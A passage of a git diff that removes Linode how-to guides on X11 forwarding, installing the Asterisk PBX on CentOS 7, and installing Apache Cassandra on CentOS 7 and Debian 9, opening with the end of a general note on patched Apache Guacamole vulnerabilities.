SFTP, and much more. As an Apache Incubator project, expect to see further developments in the near future. - -## Is Apache Guacamole Secure? - -There have been certain well-known security vulnerabilities associated with Apache Guacamole, though (at the time of this writing) they have been patched and updates have been released. Most notable is the one identified commonly by security researchers around Reverse RDP vulnerabilities. Any Guacamole version released before January 2020 is vulnerable to reverse RDP and multiple other vulnerabilities in FreeRDP. - -**If you are using an old version of Apache Guacamole released before January 2020, consider upgrading your Apache Guacamole to a newer, stable, and secure version.** - -With the newer versions, the following vulnerabilities have recently surfaced and patched by FreeRDP and Apache Foundation: - -1. **Reverse attack to take control of gateway:** With this, any compromised system or machine inside of the network can exploit an incoming connection and compromise the gateway. This enables the compromised system or machine to take over the gateway. -2. **An internal attack to compromise the gateway:** When an attacker is an internal member of the organization(commonly an employee or a contractor with access to the network), they can use these exploits to gain full access to the gateway. diff --git a/docs/guides/applications/remote-desktop/running-graphic-software-xforwarding-debian/index.md b/docs/guides/applications/remote-desktop/running-graphic-software-xforwarding-debian/index.md deleted file mode 100644 index cadf1b2aaa3..00000000000 --- a/docs/guides/applications/remote-desktop/running-graphic-software-xforwarding-debian/index.md +++ /dev/null @@ -1,89 +0,0 @@ ---- -slug: running-graphic-software-xforwarding-debian -title: 'Run Graphic Software on Your Linode with X-Forwarding on Debian' -description: Forward the X11 Server Through SSH to Run GUI Applications from Your Linode -authors: ["Alex Fornuto"] -contributors: ["Alex Fornuto"] -published: 2014-04-10 -modified: 2014-04-25 -keywords: ["x11", "debian", "debian 7", " debian 8", "x-forwarding", "ssh", "x over ssh"] -tags: ["debian", "ssh"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/remote-desktops/running-graphic-software-on-your-linode-with-xforwarding-on-debian-7/','/applications/remote-desktop/running-graphic-software-xforwarding-debian/','/remote-desktops/x-forwarding-debian-7/'] -external_resources: - - '[Xming](http://www.straightrunning.com/XmingNotes/)' - - '[Cygwin/X](http://x.cygwin.com/)' - - '[MobaXterm](http://mobaxterm.mobatek.net/)' - - '[XQuartz](http://xquartz.macosforge.org/)' -relations: - platform: - key: forward-x11-gui - keywords: - - distribution: Debian ---- - -On occasion you may want to run an application that requires a graphic interface from your Linode. By using X forwarding, this is easy to accomplish. - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you're not familiar with the `sudo` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Install X11 on your Linode - -1. Before we begin, make sure your Linode's software is up to date: - - sudo apt-get update - sudo apt-get upgrade - -2. One of the great things about using a Linux distribution with a dependency-aware package manager is that you can just install the application you want to run, and it will make sure you have all the required software. If you're installing a graphic utility, that will include X. For now, let's install `xauth`, which is required for X to authenticate through the SSH session: - - sudo apt-get install xauth - -## Install X11 on the Client - -### Linux - -If you're using a Linux desktop environment on your local PC, you already have X11 running. - -### Mac - -Apple contributes to the development of XQuartz, an X11 server designed to run on OS X. Download the software [here](http://xquartz.macosforge.org/) and follow the installer's instructions. - -### Windows - -There are several pieces of software available that can provide an X server on Windows. We've listed the most notable options below: - -- [Cygwin/X](http://x.cygwin.com/) - Cygwin provides a Unix-like shell to Windows and can support an X server as well. -- [MobaXterm](http://mobaxterm.mobatek.net/) - MobaXterm is an all-in-one tool for accessing remote systems across multiple protocols. -- [Xming](http://www.straightrunning.com/XmingNotes/) - Unlike the previous two, Xming is just the X server itself. It is designed to be a lean standalone system and touts portability. - -It's up to you to choose the software that best suits your needs. - -## Connect - -Connecting from a Linux or OS X client requires adding one extra parameter to your SSH command, the `-X` flag: - - ssh -X root@12.34.56.78 - -Connecting from a Windows machine will depend on what software you have chosen. Please refer to the software documentation for instructions on initiating an SSH connection with X forwarding. - -## Test - -1. First lets install a simple graphic application to test with: - - sudo apt-get install x11-apps - -2. Run the following command to launch a program that watches your cursor: - - xeyes - -3. Now, let's try something a bit bigger. Iceweasel is the name given to Debian's version of Mozilla's Firefox browser. The following commands will install and launch Iceweasel from your Linode: - - sudo apt-get install iceweasel - iceweasel & - - ![Iceweasel, running on a Linode](1633-xforwarding_3.png) - -{{< note >}} -More intense graphic software may lag when running in this fashion. Using a Linode in a data center geographically close to you can help reduce latency. -{{< /note >}} \ No newline at end of file diff --git a/docs/guides/applications/voip/install-asterisk-on-centos-7/index.md b/docs/guides/applications/voip/install-asterisk-on-centos-7/index.md deleted file mode 100644 index b4f94ee3d5e..00000000000 --- a/docs/guides/applications/voip/install-asterisk-on-centos-7/index.md +++ /dev/null @@ -1,339 +0,0 @@ ---- -slug: install-asterisk-on-centos-7 -title: 'How to Install Asterisk on CentOS 7' -description: 'This guide shows how to install Asterisk, the open-source private branch exchange (PBX) application for running your own VoIP services, on CentOS 7.' -authors: ["Nick Rahl"] -contributors: ["Nick Rahl"] -published: 2015-09-30 -modified: 2020-12-03 -keywords: ["asterisk 13", "centos 7", "centos", "open source", "private branch exchange", "pbx", "asterisk pbx", "sip", "session initiation protocol", "sip protocol", "IP PBX systems", "VoIP gateways"] -tags: ["centos"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -dedicated_cpu_link: true -relations: - platform: - key: asterisk-freepbx-telephone - keywords: - - distribution: CentOS 7 -aliases: ['/applications/voip/install-asterisk-on-centos-7/'] ---- - -![How to Install Asterisk on CentOS 7](how-to-install-asterisk-on-centos-7.jpg "How to Install Asterisk on CentOS 7") - -## What is Asterisk? - -Asterisk is an open source *private branch exchange* (PBX) server that uses *Session Initiation Protocol* (SIP) to route and manage telephone calls. Notable features include customer service queues, music on hold, conference calling, and call recording, among others. - -This guide covers the steps necessary to provision a new CentOS 7 Linode as a dedicated Asterisk server for your home or office. - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you're not familiar with the `sudo` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Before You Begin - -1. Create a CentOS 7 Linode in your closest data center. A 2GB Linode is enough to handle 10-20 concurrent calls using a non-compressed codec, depending on the processing required on each channel. - -1. Ensure you have followed the [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guides to prepare your Linode. **Do not** complete the steps to set up a firewall. - -1. Update your system: - - sudo yum update - -1. Disable SELinux and reboot your Linode. If you have [Lassie](https://techdocs.akamai.com/cloud-computing/docs/recover-from-unexpected-shutdowns-with-lassie) enabled, your Linode is back up and running in a few minutes. - - sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config - - sudo systemctl reboot - -## Configure firewalld - -1. CentOS 7 enables firewalld's `public` zone for the default interface (`eth0`). SSH and DHCPv6 services are also enabled by default. To verify your current firewalld zone: - - sudo firewall-cmd --get-active-zones - sudo firewall-cmd --permanent --list-services - - That should return: - - {{< output >}} -[user@asterisk ~]$ sudo firewall-cmd --get-active-zones -public - interfaces: eth0 -{{< /output >}} - - And: - - {{< output >}} -[user@asterisk ~]$ sudo firewall-cmd --permanent --list-services -ssh dhcpv6-client -{{< /output >}} - -1. Add the SIP services. - - {{< note respectIndent=false >}} -All the following firewalld rules contain the `--permanent` flag to ensure the rules persist after a system reboot. -{{< /note >}} - - sudo firewall-cmd --zone=public --permanent --add-service={sip,sips} - -1. Depending on your needs, you may want to add other related ports: - - - MGCP - If you use media gateway control protocol in your configuration. - - sudo firewall-cmd --zone=public --permanent --add-port=2727/udp - - - RTP - The media stream - you can change this in `/etc/asterisk/rtp.conf`. - - sudo firewall-cmd --zone=public --permanent --add-port=10000-20000/udp - - - If you plan to use FreePBX to manage Asterisk, add the following rule: - - sudo firewall-cmd --zone=public --permanent --add-service={http,https} - - - IAX - If you need IAX, add the following rule. IAX is "Inter-Asterisk Exchange" and was meant to allow multiple Asterisk servers to communicate with one another. Some VOIP trunking providers use this, but most use SIP. Unless your VOIP provider requires it or you are running multiple Asterisk servers, you probably don't need IAX or IAX2. - - sudo firewall-cmd --zone=public --permanent --add-port=4569/udp - - -1. Verify your new configuration with: - - sudo firewall-cmd --permanent --list-services - sudo firewall-cmd --permanent --list-ports - - You should see the services and ports you just added in addition to default SSH and DCHPv6 services: - - {{< output >}} -[user@asterisk ~]$ sudo firewall-cmd --list-ports -2727/udp 10000-20000/udp 4569/udp -{{< /output >}} - - {{< output >}} -[user@asterisk ~]$ sudo firewall-cmd --permanent --list-services -ssh dhcpv6-client sip sips http https -{{< /output >}} - - -## Install PJPROJECT - -PJPROJECT is Asterisk's SIP channel driver. It should improve call clarity and performance over older drivers. - -1. Install build dependencies: - - sudo yum install epel-release gcc-c++ ncurses-devel libxml2-devel wget openssl-devel newt-devel kernel-devel-`uname -r` sqlite-devel libuuid-devel gtk2-devel jansson-devel binutils-devel bzip2 patch libedit libedit-devel - -1. As **a non-root user**, create a working directory for the build: - - mkdir ~/build-asterisk - -1. Change to that directory: - - cd ~/build-asterisk - -1. Use `wget` to download the PJSIP driver source code: - - wget https://www.pjsip.org/release/2.8/pjproject-2.8.tar.bz2 - -1. Extract it: - - tar -jxvf pjproject-2.8.tar.bz2 - -1. Change to the newly created directory: - - cd pjproject-2.8 - -1. Specify the compiling flags and options: - - ./configure CFLAGS="-DNDEBUG -DPJ_HAS_IPV6=1" --prefix=/usr --libdir=/usr/lib64 --enable-shared --disable-video --disable-sound --disable-opencore-amr - -1. Ensure that all dependencies are in place: - - make dep - -1. If `make dep` completes successfully, then build the plugin. It should only take a few minutes. - - make - -1. Install the packages: - - sudo make install - sudo ldconfig - -1. Ensure the libraries have been properly installed: - - sudo ldconfig -p | grep pj - - You should see: - - {{< output >}} - libpjsua2.so.2 (libc6,x86-64) => /lib64/libpjsua2.so.2 - libpjsua2.so (libc6,x86-64) => /lib64/libpjsua2.so - libpjsua.so.2 (libc6,x86-64) => /lib64/libpjsua.so.2 - libpjsua.so (libc6,x86-64) => /lib64/libpjsua.so - libpjsip.so.2 (libc6,x86-64) => /lib64/libpjsip.so.2 - libpjsip.so (libc6,x86-64) => /lib64/libpjsip.so - libpjsip-ua.so.2 (libc6,x86-64) => /lib64/libpjsip-ua.so.2 - libpjsip-ua.so (libc6,x86-64) => /lib64/libpjsip-ua.so - libpjsip-simple.so.2 (libc6,x86-64) => /lib64/libpjsip-simple.so.2 - libpjsip-simple.so (libc6,x86-64) => /lib64/libpjsip-simple.so - libpjnath.so.2 (libc6,x86-64) => /lib64/libpjnath.so.2 - libpjnath.so (libc6,x86-64) => /lib64/libpjnath.so - libpjmedia.so.2 (libc6,x86-64) => /lib64/libpjmedia.so.2 - libpjmedia.so (libc6,x86-64) => /lib64/libpjmedia.so - libpjmedia-videodev.so.2 (libc6,x86-64) => /lib64/libpjmedia-videodev.so.2 - libpjmedia-videodev.so (libc6,x86-64) => /lib64/libpjmedia-videodev.so - libpjmedia-codec.so.2 (libc6,x86-64) => /lib64/libpjmedia-codec.so.2 - libpjmedia-codec.so (libc6,x86-64) => /lib64/libpjmedia-codec.so - libpjmedia-audiodev.so.2 (libc6,x86-64) => /lib64/libpjmedia-audiodev.so.2 - libpjmedia-audiodev.so (libc6,x86-64) => /lib64/libpjmedia-audiodev.so - libpjlib-util.so.2 (libc6,x86-64) => /lib64/libpjlib-util.so.2 - libpjlib-util.so (libc6,x86-64) => /lib64/libpjlib-util.so - libpj.so.2 (libc6,x86-64) => /lib64/libpj.so.2 - libpj.so (libc6,x86-64) => /lib64/libpj.so -{{< /output >}} - - - -## Install Asterisk - -1. Return to your build directory: - - cd ~/build-asterisk - -1. Download the latest version of Asterisk 16: - - wget http://downloads.asterisk.org/pub/telephony/asterisk/asterisk-16-current.tar.gz - -1. Untar the file: - - tar -zxvf asterisk-16-current.tar.gz - -1. Switch to the new Asterisk directory, replacing `16.1.1` if needed: - - cd asterisk-16.1.1 - - -### Enable MP3 Support - -1. To use MP3 files for Music on Hold, install Subversion: - - sudo yum install svn - -1. Run the configuration script: - - contrib/scripts/get_mp3_source.sh - - -### Configure and Build Asterisk - -1. In your build directory for Asterisk, run the `configure` script to prepare the Asterisk source code for compiling: - - ./configure --libdir=/usr/lib64 --with-jansson-bundled - -1. Start the build process. After a short while, you should see a menu on screen allowing you to configure the features you want to build. This also produces generic binaries instead of native architecture optimized binaries. - - make menuselect --disable BUILD_NATIVE menuselect.makeopts - -1. If you want to use the MP3 format with Music on Hold, you should select `Add-Ons`, then use the right arrow to move to the right-hand list. Navigate to `format_mp3` and press **Enter** to select it. - -1. Select additional core sound packages and Music on Hold packages in the left menu, and enable `.wav` format for your desired language (ie. use the `EN` package for English.). - -1. Press **F12** to save and exit. - -1. Compile Asterisk. When finished, you should see a message which says Asterisk has successfully been built. - - sudo make - -1. Install Asterisk: - - sudo make install - -1. Install sample configuration files: - - sudo make samples - -1. Configure Asterisk to start itself automatically on boot: - - sudo make config - - -### Test Connection - -You now have a working Asterisk phone server. Fire up Asterisk and make sure it runs. - -1. Start Asterisk: - - sudo systemctl start asterisk - -1. To ensure that asterisk service starts even after a reboot, enable the service: - - sudo systemctl enable asterisk - -1. Connect to Asterisk: - - sudo asterisk -rvv - - You should see an output similar to the following: - - {{< output >}} -Asterisk 16.0.0, Copyright (C) 1999 - 2018, Digium, Inc. and others. -Created by Mark Spencer -Asterisk comes with ABSOLUTELY NO WARRANTY; type 'core show warranty' for details. -This is free software, with components licensed under the GNU General Public -License version 2 and other licenses; you are welcome to redistribute it under -certain conditions. Type 'core show license' for details. -========================================================================= -Connected to Asterisk 16.0.0 currently running on li73-122 (pid = 980) -{{< /output >}} - -1. To see a list of possible commands: - - core show help - -1. To disconnect type: - - exit - - Once disconnected, Asterisk continues to run in the background. - -## Next Steps - -Now that you have an Asterisk server running on your Linode, it's time to connect some phones, add extensions, and configure the various options that are available with Asterisk. For detailed instructions, check out the Asterisk Project's guide to [Configuring Asterisk](https://wiki.asterisk.org/wiki/display/AST/Basic+PBX+Functionality). - -{{< note type="alert" >}} -When running a phone system on a remote server such as a Linode, it's always good practice to secure the signaling data with TLS and the audio portion of calls using SRTP to prevent eavesdropping. Once you have a working dial-plan, be sure to follow the [Secure Calling Guide](https://wiki.asterisk.org/wiki/display/AST/Secure+Calling) to encrypt your communications. -{{< /note >}} diff --git a/docs/guides/databases/cassandra/how-to-install-apache-cassandra-on-centos-7/index.md b/docs/guides/databases/cassandra/how-to-install-apache-cassandra-on-centos-7/index.md deleted file mode 100644 index 75d2ea8ef58..00000000000 --- a/docs/guides/databases/cassandra/how-to-install-apache-cassandra-on-centos-7/index.md +++ /dev/null @@ -1,256 +0,0 @@ ---- -slug: how-to-install-apache-cassandra-on-centos-7 -title: "Installing Apache Cassandra on CentOS 7" -title_meta: "How to Install Apache Cassandra on CentOS 7" -description: 'This guide will show you how to deploy a scalable and development-driven NoSQL database with Apache Cassandra on a Linode running CentOS 7.' -authors: ["Andrew Lescher"] -contributors: ["Andrew Lescher"] -published: 2017-06-12 -modified: 2022-05-16 -keywords: ["cassandra", " apache cassandra", " centos 7", " ubuntu 18.04", " database", " nosql"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -relations: - platform: - key: install-apache-cassandra - keywords: - - distribution: CentOS 7 -external_resources: - - '[Cassandra Documentation](http://cassandra.apache.org/doc/latest/)' - - '[Cassandra cqlshrc File Configuration Overview](http://docs.datastax.com/en/cql/3.3/cql/cql_reference/cqlshUsingCqlshrc.html)' - - '[Cassandra .yaml Configuration File Overview](http://cassandra.apache.org/doc/latest/configuration/cassandra_config_file.html)' - - '[Recommended Production Settings For Apache Cassandra](http://docs.datastax.com/en/landing_page/doc/landing_page/recommendedSettings.html)' - - '[The Cassandra Query Language (CQL)](http://cassandra.apache.org/doc/latest/cql/index.html)' -tags: ["centos","database","nosql"] -image: Apache_Cassandra.png ---- - -## Introduction to Apache Cassandra - -The Cassandra NoSQL database is ideal for situations that require maximum data redundancy and uptime, ease of horizontal scaling across multiple unique servers, and rapidly evolving project demands during the development life cycle which would otherwise be heavily restricted by traditional relational database implementations. Apache Cassandra is an open-source application that is managed in a simple command line interface using the Cassandra Query Language, or CQL. CQL is syntactically similar to the Structured Query Language, making it easy to pick up for those already familiar with SQL. - -After completing this guide, you will have a single-node, production-ready installation of Apache Cassandra hosted on your Linode. This tutorial will cover basic configuration options, as well as harden database security. In order to successfully execute the commands in this guide, you will need to run them as the "root" user or log in using an account with root privileges, prefixing each command with `sudo`. - -## Install Cassandra - -### Before You Begin - -1. Complete the [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide for setting up a new Linode. -2. While it is recommended you complete the entire [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide, it will be necessary at least to possess a limited user account. - -### Add Repositories and GPG Keys - -1. Install the "yum-utils" package: - - yum install yum-utils -y - -2. Add the Datastax repository: - - yum-config-manager --add-repo http://rpm.datastax.com/community - -4. Add the public key for the datastax repository. Create a directory for the downloaded key: - - mkdir ~/.keys - -5. Navigate to the ".keys" directory you just created and download the public key: - - curl -o repo_key http://rpm.datastax.com/rpm/repo_key - -6. The key should now be contained in a file called `repo_key`. Install the key with the package manager: - - rpm --import repo_key - -## Install Cassandra and Supporting Applications - -Update the system and install Java along with Cassandra. NTP will help keep the Cassandra node synced to the correct time. - -1. Install Cassandra, Java, and NTP: - - yum update && yum upgrade - yum install java dsc30 cassandra30-tools ntp - -## Activate Cassandra - -1. Enable Cassandra on system boot and verify that it is running: - - systemctl enable cassandra - systemctl start cassandra - systemctl -l status cassandra - -3. Check the status of the Cassandra cluster: - - nodetool status - - If `UN` is displayed in the output, the cluster is working. Your output should resemble this: - - {{< output >}} - Status=Up/Down - |/ State=Normal/Leaving/Joining/Moving - -- Address Load Tokens Owns (effective) Host ID Rack - UN 127.0.0.1 103.51 KiB 256 100.0% c43a2db6-8e5f-4b5e-8a83-d9b6764d923d rack1 -{{< /output >}} - - If you receive connection errors, see [Troubleshooting Connection Errors](#troubleshooting-connection-errors). - -## Configure Cassandra - -### Enable Security Features - -1. Enable user login authentication. Make a backup of the Cassandra configuration file "cassandra.yaml." - - {{< note respectIndent=false >}} -The CentOS 7 installation already includes a backup file located at `/etc/cassandra/conf/cassandra.yaml.orig`. -{{< /note >}} - - cp /etc/cassandra/cassandra.yaml /etc/cassandra/cassandra.yaml.backup - -2. Open "cassandra.yaml" in your preferred text editor: - - vim /etc/cassandra/conf/cassandra.yaml - -3. Match the following variables in the file to the values shown below. If any values are commented out, uncomment them. The rest of the properties found in the cassandra.yaml config file should be set based on your project's particular requirements and how you plan to utilize Cassandra. The default configuration should work well for development. - -More information on this file can be found by following the *Cassandra .yaml Configuration File Overview* link in the "External Resources" section. - -{{< file "/etc/cassandra/conf/cassandra.yaml" yaml >}} -. . . -authenticator: org.apache.cassandra.auth.PasswordAuthenticator -authorizer: org.apache.cassandra.auth.CassandraAuthorizer -role_manager: CassandraRoleManager -roles_validity_in_ms: 0 -permissions_validity_in_ms: 0 -. . . -{{< /file >}} - -After editing the file restart Cassandra. - -## Add An Administration Superuser - -1. Open the Cassandra command terminal by typing `cqlsh`. Log in with the credentials shown below for the default user `cassandra`: - - cqlsh -u cassandra -p cassandra - -1. Create a new superuser. Replace the brackets as well as the content inside with the applicable information: - - cassandra@cqlsh> CREATE ROLE [new_superuser] WITH PASSWORD = '[secure_password]' AND SUPERUSER = true AND LOGIN = true; - -1. Log out by typing `exit`. - -1. Log back in with the new superuser account using the new credentials, and remove the elevated permissions from the Cassandra account: - - superuser@cqlsh> ALTER ROLE cassandra WITH PASSWORD = 'cassandra' AND SUPERUSER = false AND LOGIN = false; - superuser@cqlsh> REVOKE ALL PERMISSIONS ON ALL KEYSPACES FROM cassandra; - -5. Grant all permissions to the new superuser account. Replace the brackets and contents inside with your superuser account username: - - superuser@cqlsh> GRANT ALL PERMISSIONS ON ALL KEYSPACES TO [superuser]; - -6. Log out by typing `exit`. - -## Edit The Console Configuration File - -The *cqlshrc* file holds configuration settings that influence user preferences on how Cassandra performs certain tasks. Before proceeding, switch from the "root" user to your administrative Linux user account (you need sudo privileges for this). - -Since your Cassandra username and password can be stored here in plaintext, this file should only be accessible to your administrative user account, and is designed to be inaccessible to other accounts on your Linux system. Do not set this up as the root user. Caution: Before proceeding, fully evaluate the security risks and consequences to your node cluster before adding the [authentication] section. - -1. Create the file *cqlshrc* using your preferred text editor. If the `~/.cassandra` directory does not exist, create it: - - sudo mkdir ~/.cassandra - sudo vim ~/.cassandra/cqlshrc - -2. Copy any sections below that you wish to add to your configuration. Details for this file can be found by following the "Cassandra cqlshrc File Configuration Overview" link in the "External Resources" section. - - {{< note respectIndent=false >}} -CentOS 7 users can find a sample file containing all the configuration options at `/etc/cassandra/conf/cqlshrc.sample`. -{{< /note >}} - - {{< file "~/.cassandra/cqlshrc" aconf >}} -. . . -;; Options that are common to both COPY TO and COPY FROM - -[copy] -;; The string placeholder for null values -nullval=null -;; For COPY TO, controls whether the first line in the CSV output file will -;; contain the column names. For COPY FROM, specifies whether the first -;; line in the CSV file contains column names. -header=true -;; The string literal format for boolean values -boolstyle = True,False -;; Input login credentials here to automatically login to the Cassandra command line without entering them each time. When this -;; is enabled, just type "cqlsh" to start Cassandra. -[authentication] -username=[superuser] -password=[password] - -;; Uncomment to automatically use a certain keyspace on login -;; keyspace=[keyspace] - -[ui] -color=on -datetimeformat=%Y-%m-%d %H:%M:%S%z -completekey=tab -;; The number of digits displayed after the decimal point -;; (note that increasing this to large numbers can result in unusual values) -float_precision = 5 -;; The encoding used for characters -encoding = utf8 -. . . -{{< /file >}} - - -3. Save and close the file. Update the file and directory with the following permissions: - - sudo chmod 440 ~/.cassandra/cqlshrc - sudo chmod 700 ~/.cassandra - -5. If you enabled the auto-login feature, login by typing `cqlsh`. The command terminal should open, and your superuser name should be visible in the command line. - -## Rename the Cluster - -Update your default cluster name from "Test Cluster" to your desired name. - -1. Login to the control terminal with cqlsh. Replace `[new_name]` with your new cluster name: - - UPDATE system.local SET cluster_name = '[new_name]' WHERE KEY = 'local'; - -2. Edit the cassandra.yaml file and replace the value in the `cluster_name` variable with the new cluster name you just set. - - vim /etc/cassandra/conf/cassandra.yaml - -3. Save and close. - -4. From the Linux terminal (not cqlsh), run `nodetool flush system`. This will clear the system cache and preserve all data in the node. - -5. Restart Cassandra. Log in with cqlsh and verify the new cluster name is visible. - -## Troubleshooting Connection Errors - -If you receive connection errors when running `nodetool status`, you may need to manually enter networking information. - -1. Open the `cassandra-env.sh` file in a text editor. - - sudo vim /etc/cassandra/conf/cassandra-env.sh - -1. Search for `-Djava.rmi.server.hostname=` in the file. Uncomment this line and add your loopback address or public IP address by replacing `` at the end of the line: - - {{< file "/etc/cassandra/conf/cassandra-env.sh" bash >}} -. . . -JVM_OPTS="$JVM_OPTS -Djava.rmi.server.hostname=" -. . . -{{< /file >}} - -1. Restart Cassandra after you've finished updating the `cassandra-env.sh` file: - - sudo systemctl restart cassandra - -1. Check the node status again after the service restarts: - - nodetool status - - {{< note respectIndent=false >}} -It may take a few seconds for Cassandra to refresh the configuration. If you receive another connection error, try waiting 15 seconds before rechecking the node status. -{{< /note >}} - -## Where To Go From Here - -Be sure to check out the links in the "External Resources" section, which will help you further configure Cassandra to your needs, as well as provide resources to improve your understanding and ability to use Cassandra. To fully utilize the capabilities of Cassandra in a production setting, additional nodes should be added to your cluster. See the companion guide, "Deploy Additional Nodes To The Cassandra Cluster" to get started. diff --git a/docs/guides/databases/cassandra/how-to-install-apache-cassandra-on-debian-9/index.md b/docs/guides/databases/cassandra/how-to-install-apache-cassandra-on-debian-9/index.md deleted file mode 100644 index 491065482bd..00000000000 --- a/docs/guides/databases/cassandra/how-to-install-apache-cassandra-on-debian-9/index.md +++ /dev/null @@ -1,313 +0,0 @@ ---- -slug: how-to-install-apache-cassandra-on-debian-9 -title: "Install Apache Cassandra on Debian 9" -title_meta: "How to Install Apache Cassandra on Debian 9" -description: 'This guide presents instructions to deploy a scalable and development-driven NoSQL database with Apache Cassandra for Debian 9.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2020-01-30 -keywords: ["cassandra", " apache cassandra", " centos 7", "Debian 9", " database", " nosql"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: L_Cass_on_Debian9.png -external_resources: - - '[Cassandra Documentation](http://cassandra.apache.org/doc/latest/)' - - '[Cassandra cqlshrc File Configuration Overview](http://docs.datastax.com/en/cql/3.3/cql/cql_reference/cqlshUsingCqlshrc.html)' - - '[Cassandra .yaml Configuration File Overview](http://cassandra.apache.org/doc/latest/configuration/cassandra_config_file.html)' - - '[Recommended Production Settings For Apache Cassandra](http://docs.datastax.com/en/landing_page/doc/landing_page/recommendedSettings.html)' - - '[The Cassandra Query Language (CQL)](http://cassandra.apache.org/doc/latest/cql/index.html)' -relations: - platform: - key: install-apache-cassandra - keywords: - - distribution: Debian 9 -tags: ["debian","database","nosql"] -aliases: ['/databases/cassandra/how-to-install-apache-cassandra-on-debian-9/'] -deprecated: true ---- - -After completing this guide, you will have a single-node, production-ready installation of [Apache Cassandra](http://cassandra.apache.org/) hosted on your Linode running Debian 9. This tutorial will cover basic configuration options, as well as harden database security. - -{{< note >}} -In order to successfully execute the commands in this guide, you will need to run them as the `root` user, or log in using an account with root privileges, prefixing each command with `sudo`. -{{< /note >}} - -## Before You Begin - -1. Complete the [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide for setting up a new Linode. -1. While it is recommended you complete the entire [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide, at minimum, you should [add a limited user account](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#add-a-limited-user-account). - -## Install Cassandra and Supporting Applications - -In this section, you will install package dependencies, Java, Cassandra, and update your Linux system software. - -1. Update your system's software packages: - - sudo apt update - -1. Install the required package dependencies: - - sudo apt install apt-transport-https ca-certificates wget dirmngr gnupg software-properties-common - -1. Import the repository’s GPG key using `wget` and add the AdoptOpenJDK APT repository: - - wget -qO - https://adoptopenjdk.jfrog.io/adoptopenjdk/api/gpg/key/public | sudo apt-key add - - sudo add-apt-repository --yes https://adoptopenjdk.jfrog.io/adoptopenjdk/deb/ - -1. Install Java 8: - - sudo apt update - sudo apt install adoptopenjdk-8-hotspot - -1. Verify the version of Java you just installed: - - java -version - -1. Add Cassandra's GPG keys: - - wget -q -O - https://www.apache.org/dist/cassandra/KEYS | sudo apt-key add - - -1. Add the Cassandra repository to your Debian system's sources list: - - sudo sh -c 'echo "deb http://www.apache.org/dist/cassandra/debian 311x main" > /etc/apt/sources.list.d/cassandra.list' - - {{< note respectIndent=false >}} -You may want to follow the link to the Apache repository to confirm that “40x” is the latest available version. - {{< /note >}} - -1. Update your packages index and install Cassandra: - - sudo apt update - sudo apt install cassandra - -## Activate Cassandra - -1. Enable Cassandra on system boot and verify that it is running: - - sudo systemctl enable cassandra - sudo systemctl start cassandra - sudo systemctl -l status cassandra - -1. Check the status of the Cassandra cluster: - - nodetool status - - If `UN` is displayed in the output, the cluster is working. Your output should resemble the following: - - {{< output >}} -Status=Up/Down -|/ State=Normal/Leaving/Joining/Moving --- Address Load Tokens Owns (effective) Host ID Rack -UN 127.0.0.1 103.51 KiB 256 100.0% c43a2db6-8e5f-4b5e-8a83-d9b6764d923d rack1 - {{< /output >}} - - If you receive connection errors, open the `cassandra-env.sh` file in a text editor. - - sudo vim /etc/cassandra/cassandra-env.sh - - Search for `-Djava.rmi.server.hostname=` in the file. Uncomment this line and add your loopback address or public IP address by replacing `` at the end of the line: - - {{< file "Debian /etc/cassandra/conf/cassandra-env.sh" bash >}} -. . . - -JVM_OPTS="$JVM_OPTS -Djava.rmi.server.hostname=" - -. . . - {{< /file >}} - - - Restart Cassandra after you've finished updating the `cassandra-env.sh` file: - - sudo systemctl restart cassandra - - - Check the node status: - - nodetool status - - {{< note respectIndent=false >}} -It may take a few seconds for Cassandra to refresh the configuration. If you receive another connection error, try waiting 15 seconds before rechecking the node status. - {{< /note >}} - -## Configure Cassandra - -### Enable Security Features - -In this section, you will enable user login authentication. You can also configure other security settings based on your project's needs. - -1. Make a backup of the Cassandra configuration file `cassandra.yaml`. - - sudo cp /etc/cassandra/cassandra.yaml /etc/cassandra/cassandra.yaml.backup - -1. Open `cassandra.yaml` in your preferred text editor: - - {{< note respectIndent=false >}} -Locations of the `cassandra.yaml` file may differ slightly between distros. - {{< /note >}} - - sudo vim /etc/cassandra/cassandra.yaml - -1. Match the following variables in the file to the values shown in the example file. If any values are commented out, uncomment them. The rest of the properties found in the `cassandra.yaml` file should be set based on your project's particular requirements and how you plan to utilize Cassandra. The default configuration should work well for development. - - {{< file "Debian /etc/cassandra/cassandra.yaml" yaml >}} -. . . - -authenticator: org.apache.cassandra.auth.PasswordAuthenticator -authorizer: org.apache.cassandra.auth.CassandraAuthorizer -role_manager: CassandraRoleManager -roles_validity_in_ms: 0 -permissions_validity_in_ms: 0 - -. . . - {{< /file >}} - - More information about this file can be found in the [Cassandra Configuration File](http://cassandra.apache.org/doc/latest/configuration/cassandra_config_file.html) guide in Apache's official documentation. - -1. After editing the configuration file restart Cassandra. - - sudo systemctl restart cassandra - -### Add An Administration Superuser - -1. Open the Cassandra command terminal by typing `cqlsh`. Log in with the credentials shown below for the default user `cassandra`: - - cqlsh -u cassandra -p cassandra - -1. Create a new superuser. Replace the brackets as well as the content inside with the applicable information: - - - CREATE ROLE [new_superuser] WITH PASSWORD = '[secure_password]' AND SUPERUSER = true AND LOGIN = true; - -1. Log out by typing `exit`. - -1. Log back in with the new superuser account and replace the username and password with your new credentials: - - 